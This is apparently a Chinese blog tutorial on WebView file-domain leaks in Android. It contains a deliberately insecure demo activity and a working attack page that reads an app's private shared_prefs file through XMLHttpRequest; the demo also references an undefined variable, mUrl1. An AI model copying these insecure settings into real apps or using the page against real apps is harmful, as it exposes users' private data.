WebView File域信息泄漏(一)

WebView File域信息泄漏(一)

写在了前面

最近发现了一系列由于使用WebView打开File域导致一些APP隐私文件泄漏的问题。本身这个问题已经算是一个远古的问题了,不过既然出现了,还是整理了一下网上的一些资料,写了两个小Demo,记录下这种漏洞的流程与常见的解决方案。

必备条件说明(TL;DR)

一般关于WebView问题需要关注一下几个点:

  • 加载使用WebView的组件是否为导出组件,是否对传入的URL严格的校验,对于有校验的是否可以绕过;这类问题可能导致攻击者控制APP打开制定的网站;
  • WebView是否开启了setJavaScriptEnabled,开启以后其导出的JSAPI会不会导致一些危险函数的暴露;这类问题可能导致攻击者通过构造攻击页面,强迫APP打开该网页以后,利用暴露的JSAPI功能达到一些特定的目的;
  • 判断WebView是否开启了File域,以及查看setAllowFileAccess,AllowFileAccessFromFileURLs,AllowUniversalAccessFromFileURL三个Setting的状态;这类问题可能导致攻击者获取到一些APP沙箱中的信息

下面将讨论WebView关于File域的三个Setting,总结在每种情况下的攻击方式:

setAllowFileAccess

下面是关于setAllowFileAccess的一些官方说明

1
Enables or disables file access within WebView. File access is enabled by default. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res.

这是一项默认开启的设置,当开启此设置的时候,将允许WebView加载File域下的文件(file://)。

setFileAccessFromFileURLs

下面是关于setFileAccessFromFileURLs的一些官方说明:

1
Sets whether JavaScript running in the context of a file scheme URL should be allowed to access content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, this setting should be disabled. Note that the value of this setting is ignored if the value of getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript access to file scheme resources. Other access to such resources, for example, from image HTML elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH and earlier devices, you should explicitly set this value to false.The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level JELLY_BEAN and above.

本设置在Android 4.1版本默认值为False,如果开启了此设置将允许file url加载的JavaScript读取其他的本地文件。

setAllowUniversalAccessFromFileURLs

通过此 API 可以设置是否允许通过 file url 加载的 Javascript 可以访问其他的源,包括其他的文件和 http,https 等其他的源。本设置在Android 4.1以后的版本默认为False。当此设置为True的时候,将无视setFileAccessFromFileURLs的状态;

攻击利用方式

WebView中关于File 域名的设置主要包括这三个 :

  • setAllowFileAccess(true)
  • setFileAccessFromFileURLs(false)
  • setAllowUniversalAccessFromFileURLs(false)

这种设置方式允许了WebView加载File域下的文件,但是限制了其中Javascript的功能,相对较安全,在本节中将说明上面着三个设置全部开启时候的攻击利用方式。在后续文章中将讨论默认开启状况下的攻击方式,以及安全的开发方式。

Demo

为了方便观看,只写了一个MainActivity,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class MainActivity extends AppCompatActivity {

private WebView mWebview;
private Uri mUri;
private String url;
String mUrl = "file:////data/local/tmp/attack.html";

@SuppressLint("JavascriptInterface")
@RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN)
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

mWebview = (WebView)findViewById(R.id.webview);
mWebview.getSettings().setJavaScriptEnabled(true);
mWebview.addJavascriptInterface(new JSBridge(),"WE");

mWebview.getSettings().setAllowFileAccess(true);
mWebview.getSettings().setAllowFileAccessFromFileURLs(true);
mWebview.getSettings().setAllowUniversalAccessFromFileURLs(true);
mWebview.setWebChromeClient(new WebChromeClient(){
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
return super.onJsAlert(view, url, message, result);
}
});

mWebview.loadUrl(mUrl1);
}

class JSBridge {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e("mWebView","onButtonClick: text= "+str);
Toast.makeText(getApplicationContext(),"onButtonClick: text= "+str,Toast.LENGTH_LONG).show();
}
});

return "This text is returned from Java layer. js text = "+text;
}

public void onImageClick(String url, int width, int height ) {
final String str = "onImageClick: text= "+url+" width = "+width+" height = "+height;
Log.e("mWebView",str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(),str,Toast.LENGTH_LONG).show();
}
});
}
}
}

加载的HTML代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<body>
<script>
function stealfile() {
var file="file:///data/data/com.example.webviewdemo/shared_prefs/WebViewChromiumPrefs.xml";
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function() {
if (xmlHttpReq.readyState == 4) {
if (xmlHttpReq.responseText.length < 1) {
alert(file);
stealfile();
} else{
alert(xmlHttpReq.responseText);
}
}
}

xmlHttpReq.open("GET",file);
xmlHttpReq.send(null);
}
setTimeout(stealfile,6000);
</script>
</body>
</html>

由于File域的设置,导致了加载的本地文件也可以加载JavaScript读取本地文件。该攻击页面就是利用这个功能让APP去加载沙箱中的私有文件,造成了文件的泄漏。在上面的Demo中只是使用了Alert将内容展示了出来,实际上利用XMLHttpRequest我们可以将里面的内容发送到攻击者配置好的服务器中,造成进一步的危害

REFERENCE

[掘金] 关于WebView的详细整理

https://juejin.im/post/58a037df86b599006b3fade4#heading-7

[腾讯御安全] Android安全开发 WebView中的地雷

https://yaq.qq.com/blog/detail/130.html

[CSDN] WebView File域同源策略绕过漏洞

https://blog.csdn.net/u010651541/article/details/54286901

[博客园] WebView File域同源策略绕过漏洞浅析

https://www.cnblogs.com/zhchoutai/p/8796908.html